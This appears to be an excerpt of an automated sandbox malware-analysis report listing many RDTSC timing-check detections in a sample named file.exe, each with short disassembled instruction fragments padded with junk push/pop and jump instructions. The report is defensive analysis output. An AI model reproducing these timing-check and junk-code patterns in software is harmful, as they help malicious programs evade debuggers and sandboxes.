Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EC57 second address: 102EC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EDF0 second address: 102EE00 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBCF4D53678h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EE00 second address: 102EE1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A748h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103202D second address: 1032031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103192F second address: 103193F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031AB2 second address: 1031AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031C1D second address: 1031C31 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FBCF475A73Ah 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031C31 second address: 1031C35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1031C35 second address: 1031C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10376E5 second address: 10376F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036DBC second address: 1036DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FBCF475A736h 0x0000000a jmp 00007FBCF475A73Bh 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007FBCF475A736h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036DDC second address: 1036DFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53689h 0x00000007 jnl 00007FBCF4D53676h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036F55 second address: 1036F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036F59 second address: 1036F76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53687h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036F76 second address: 1036F86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1036F86 second address: 1036F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10370E4 second address: 10370FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A747h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10370FF second address: 103710A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10373D8 second address: 10373DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10373DC second address: 10373F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBCF4D53680h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10373F6 second address: 1037405 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jl 00007FBCF475A742h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037405 second address: 103740B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B6C7 second address: 103B6D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007FBCF475A738h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B6D7 second address: 103B6DC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103B6DC second address: 103B6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF475A742h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AB7C second address: 103AB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AB82 second address: 103AB8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AB8A second address: 103AB95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AB95 second address: 103ABC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A744h 0x00000007 pushad 0x00000008 jmp 00007FBCF475A742h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103ABC0 second address: 103ABC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AD0C second address: 103AD10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AD10 second address: 103AD16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AE65 second address: 103AE6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AE6A second address: 103AE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AFB3 second address: 103AFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103AFB7 second address: 103AFDB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBCF4D53676h 0x00000008 jmp 00007FBCF4D53686h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103FCF5 second address: 103FCF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103FCF9 second address: 103FD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF4D53689h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040170 second address: 1040196 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FBCF475A74Ah 0x0000000f jmp 00007FBCF475A73Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040196 second address: 10401BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FBCF4D5367Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBCF4D53686h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBAF4 second address: FEBAFE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBCF475A736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBAFE second address: FEBB04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBB04 second address: FEBB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBB08 second address: FEBB0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBB0C second address: FEBB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b or dword ptr [ebp+122D2173h], eax 0x00000011 mov ebx, dword ptr [ebp+12480A89h] 0x00000017 jo 00007FBCF475A739h 0x0000001d mov cx, si 0x00000020 add eax, ebx 0x00000022 xor dword ptr [ebp+122D2C6Ch], edx 0x00000028 nop 0x00000029 pushad 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBB39 second address: FEBB5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBCF4D53676h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FBCF4D53682h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040493 second address: 104049B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104049B second address: 10404C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBCF4D53680h 0x0000000e jbe 00007FBCF4D53676h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10433C2 second address: 10433CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007FBCF475A736h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10433CE second address: 10433D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10433D2 second address: 10433DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10433DC second address: 10433EE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FBCF4D53699h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A8F7 second address: 104A90F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FBCF475A736h 0x0000000a jg 00007FBCF475A736h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push ecx 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104949B second address: 10494A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049782 second address: 10497A7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBCF475A74Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049CC4 second address: 1049CFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53687h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FBCF4D5368Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049CFD second address: 1049D07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FBCF475A736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049D07 second address: 1049D0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049D0B second address: 1049D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049FBE second address: 1049FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBCF4D53676h 0x0000000a jmp 00007FBCF4D53683h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049FDB second address: 1049FE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049FE3 second address: 1049FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049FE7 second address: 1049FED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A312 second address: 104A32B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53685h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A32B second address: 104A33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007FBCF475A736h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E861 second address: 104E866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E866 second address: 104E86C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E86C second address: 104E880 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBCF4D53676h 0x00000008 jp 00007FBCF4D53676h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E880 second address: 104E886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E886 second address: 104E890 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBCF4D53676h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E890 second address: 104E8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FBCF475A736h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E8A1 second address: 104E8A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E8A5 second address: 104E8B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FBCF475A736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007FBCF475A73Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E8B9 second address: 104E8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E8C3 second address: 104E8C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104E8C7 second address: 104E8CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EA60 second address: 104EA6A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBCF475A73Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EA6A second address: 104EA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EA72 second address: 104EA76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EB9A second address: 104EB9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EB9E second address: 104EBC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FBCF475A73Ch 0x0000000f jnp 00007FBCF475A736h 0x00000015 jmp 00007FBCF475A740h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EBC3 second address: 104EBCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EBCB second address: 104EBDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EEA6 second address: 104EECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FBCF4D53689h 0x0000000b push eax 0x0000000c pop eax 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F1DD second address: 104F1E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FBCF475A736h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A3A3 second address: 105A3A8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A65A second address: 105A660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A660 second address: 105A67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF4D53687h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A961 second address: 105A988 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBCF475A747h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FBCF475A736h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AAC9 second address: 105AACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AACD second address: 105AAF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FBCF475A73Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AC70 second address: 105AC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FBCF4D53676h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B313 second address: 105B319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B9DF second address: 105B9FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBCF4D53686h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F99F second address: 105F9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FBCF475A736h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F9AC second address: 105F9B2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F9B2 second address: 105F9BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FBCF475A736h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F9BE second address: 105F9C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066E74 second address: 1066E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF475A747h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066E91 second address: 1066EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FBCF4D5367Ah 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066EA0 second address: 1066EB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Dh 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066FF8 second address: 1066FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D3D3 second address: 106D3D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D3D7 second address: 106D3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
